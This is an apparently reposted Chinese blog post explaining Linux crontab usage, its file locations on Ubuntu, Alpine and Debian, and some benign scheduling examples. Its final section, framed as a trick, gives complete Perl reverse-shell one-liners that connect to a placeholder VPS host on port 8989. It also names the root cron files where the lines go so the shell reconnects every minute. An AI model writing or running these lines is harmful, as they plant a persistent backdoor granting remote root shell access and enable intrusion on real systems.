• 【奇技淫巧】linux 定时任务 crontab 反弹 shell



    日期:2018-11-26 13:47:34
    介绍:如何使用定时任务来反弹 shell?


    0x01、 基本命令

    参数

    -e:编辑该用户的计时器设置;
    -l:列出该用户的计时器设置;
    -r:删除该用户的计时器设置;
    -u <用户名称>:指定要设定计时器的用户名称。
    

    MAC 直接使用 crontab -e 无效:

    编辑 username 的 crontab
    $ sudo crontab -u username -e
    
    列出 username 的 crontab,查看编辑后的数据
    $ crontab -u username -l
    

    0x02、具体信息

    2.1 /etc/crontab 文件

    该文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。

    minute hour day month week command
    对应 分 时 日 月 周

    2.2 如何开启服务

    service cron start
    
    或者
    
    /etc/init.d/cron {start|stop|status|restart|reload|force-reload}
    

    2.3 配置文件

    系统任务调度文件:/etc/crontab
    用户 XXX 调度文件:

    ubuntu 下路径
    /var/spool/cron/crontabs/xxx
    
    Alpine 下路径
    /etc/cron.d/xxx
    
    debian 下的路径(xxx 可以是任意东西)
    /etc/cron.d/xxx
    或者
    /var/spool/cron/crontabs/xxx
    但是写这个路径的时候,文件内不能加用户名。
    

    ubuntu 直接修改用户的调度文件后,可使用 crontab 相关命令直接查看、编辑。

    Alpine 修改了文件,crontab 查不到。。

    0x03、具体实例

    每天的六点输出信息
    0 6 * * * echo "Good morning." >> /tmp/test.txt

    每晚的21:30重启smb
    30 21 * * * /etc/init.d/smb restart

    0x04、反弹 shell

    Alpine 系统:将以下内容写入 /etc/cron.d/root 即可。

    */1 * * * * root perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    ##
    

    ubuntu 系统:写入的文件是/var/spool/cron/crontabs/root
    需要注意的是,ubuntu 不需要在5个*后面加 root。

    */1 * * * * perl -e 'use Socket;$i="vps.ip";$p=8989;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    直接写入文件以后,使用 crontab -l 可以看到加上的任务。

    About Me

    别活成自己讨厌的那种人就成。

    有问题欢迎沟通交流 :)

    WeChat:Bay0net

  • 相关阅读:
    查看 并发请求数及其TCP连接状态【转】
    nohup使用(转)
    Linux下高cpu解决方案(转载)
    Java.lang.String 乱码反编译
    apache2.2 搭载本地中转服务器
    转:对于服务器AdminServer, 与计算机Machine-0相关联的节点管理器无法访问
    感兴趣的github项目
    .NET CORE学习
    使用hMailServer搭建邮件服务器
    记录Sqlserver2012附加Sqlserver2008的数据库出错的解决方案
  • 原文地址:https://www.cnblogs.com/v1vvwv/p/how-to-use-crontab-to-getshell.html
Copyright © 2020-2023  润新知